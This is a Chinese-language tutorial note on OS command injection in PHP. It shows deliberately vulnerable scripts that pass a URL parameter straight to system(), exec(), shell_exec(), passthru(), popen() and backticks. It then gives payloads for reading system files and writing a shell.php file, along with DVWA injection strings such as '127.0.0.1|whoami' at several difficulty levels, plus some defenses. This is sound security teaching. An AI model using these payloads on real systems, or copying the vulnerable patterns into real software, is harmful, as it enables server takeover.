【CyberSecurityLearning 59】OS命令注入
目錄
OS命令注入
原理以及成因
漏洞危害
相關函數
1、system()
2、 exec()
3、shell_exec()? 應用最廣泛
4、passthru()
5、popen()
6、反引號
漏洞利用
1、查看系統文件
2、 顯示當前路徑(絕對路徑)
3、 寫文件
?防御方法
??? ?DVWA?? ? 命令注入
?
OS命令注入
原理以及成因
??? 程序員使用腳本語言(比如PHP )開發應用程序過程中,腳本語言開發十分快速、簡介,方便,但是也伴隨著一些問題。比如說速度慢,或者無法接觸系統底層,如果我們開發的應用,特別是企業級的一些應用需要去調用一些外部程序(系統命令或者exe等可執行文件)。當應用需要調用一些外部程序時就會用到一些系統命令的函數。
??? 應用在調用這些函數執行系統命令的時候,如果將用戶的輸入作為系統命令的參數拼接到命令行中,在沒有過濾用戶的輸入的情況下,就會造成命令執行(也就是命令注入)漏洞 。
?? ?1. 用戶輸入作為拼接
?? ?2. 沒有足夠的過濾
漏洞危害
??? 1. 繼承Web 服務器程序權限(Web 用戶權限),去執行系統命令【通過web應用去執行系統命令,繼承的是web用戶的權限】
??? 2. 繼承Web 服務器權限,讀寫文件
??? 3. 反彈Shell(服務器主動連接攻擊方就是反彈shell)
??? 4. 控制整個網站
??? 5. 控制整個服務器
相關函數
1、system()
system() 能夠將字符串作為OS 命令執行,自帶輸出功能。測試代碼如下
----system.php
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
??? echo "<pre>";
??? system($_GET['cmd']);
}else{
??? echo"
??? ?cmd=ipconfig
??? ";
}
?>
----
?
2、 exec()
??? exec() 函數能將字符串作為OS 命令執行,需要輸出執行結果。
測試代碼如下
----exec.php
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
??? echo "<pre>";
??? print exec($_GET['cmd']);
}else{
??? echo"
??? ?cmd=whoami
??? ";
}
?>
----
?
3、shell_exec()? 應用最廣泛
也需要print
??? 測試代碼如下
----shell_exec.php
?<?php
if(isset($_GET['cmd'])){
??? print shell_exec($_GET['cmd']);
}else{
??? echo"?cmd=whoami";
}
?>
----
?
4、passthru()
自帶輸出
??? 測試代碼如下
----passthru.php
<?php
if(isset($_GET['cmd'])){
??? passthru($_GET['cmd']);
}else{
??? echo"?cmd=whoami";
}
?>
----
?
5、popen()
??? popen() 也能夠執行OS 命令,但是該函數命令執行結果并不會返回結果,而是返回一個文件指針。無論返回什么,我們關心的是命令執行了。
也就是說,我們在寫這些命令的時候,我們需要把它文件的執行結果導入到一個文件中
打開1.txt
??? 測試代碼如下
----popen.php
<?php
if(isset($_GET['cmd'])){
??? $cmd=$_GET['cmd'].">> 1.txt";
??? popen($cmd,'r');
}else{
??? echo"?cmd=whoami";
}
?>
----
?
??? 查看1.txt 文件
?
6、反引號
不叫函數,叫一種語言結構
??? 反引號[``] 內的字符串,也會被解析成OS 命令。
??? 測試代碼如下
-----------------------------------------------------------------
<?php
if(isset($_GET['cmd'])){
??? $cmd=$_GET['cmd'];
??? print `$cmd`;
}else{
??? echo"?cmd=whoami";
}
?>
-----------------------------------------------------------------
?
漏洞利用
??? OS 命令注入漏洞,攻擊者直接繼承Web 用戶權限,在服務器上執行任意命令,危害特別大。以下命令均在windows 系統下測試成功。
利用方法:
1、查看系統文件
??? 提交參數[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系統hosts 文件。(type是查看文件的dos命令)
2、 顯示當前路徑(絕對路徑)
??? 提交參數[?cmd=cd]
3、 寫文件
??? 提交參數[?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\WWW\Commmandi\shell.php]
?
??? 頁面沒有報錯,說明文件寫入成功。訪問shell.php 文件。
?
防御方法
??? 1. 盡量減少命令執行函數的使用,并在disable_functions 中禁用(在php.ini中)
??? 2. 在進入命令執行的函數或方法之前,對參數進行過濾
??? 3. 參數的值盡量使用引號包裹,并在拼接前調用addslashes 進行轉義
?? ?
DVWA?? ? 命令注入
我在本機的wamp下搭建了
http://127.0.0.1/DVWA-master/index.php? 進入界面
默認賬號為: admin,默認密碼為: password:
我們這么去執行自己想要的命令呢?把前面的ping命令和諧
在框中輸入127.0.0.1 | whoami
調成中級難度:
high級別
代碼審計
找到命令注入?
low
?? ?127.0.0.1| whoami
?? ?127.0.0.1|whoami
?? ?127.0.0.1&&whoami
?? ?127.0.0.1;whoami?? ??? ??? ??
?? ?127.0.0.0.1||whoami?? 前面的命令執行失敗后去執行后面
?? ?
medium
?? ?127.0.0.1| whoami
?? ?127.0.0.1|whoami
?? ?127.0.0.0.1||whoami
??? ?127.0.0.1&&&&whoami (雙寫)? ??? ???? x
?
high
127.0.0.1|whoami
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 59】OS命令注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:杜圣东(1981-),男,西南交通
- 下一篇: 分布式数据流计算系统的数据缓存技术综述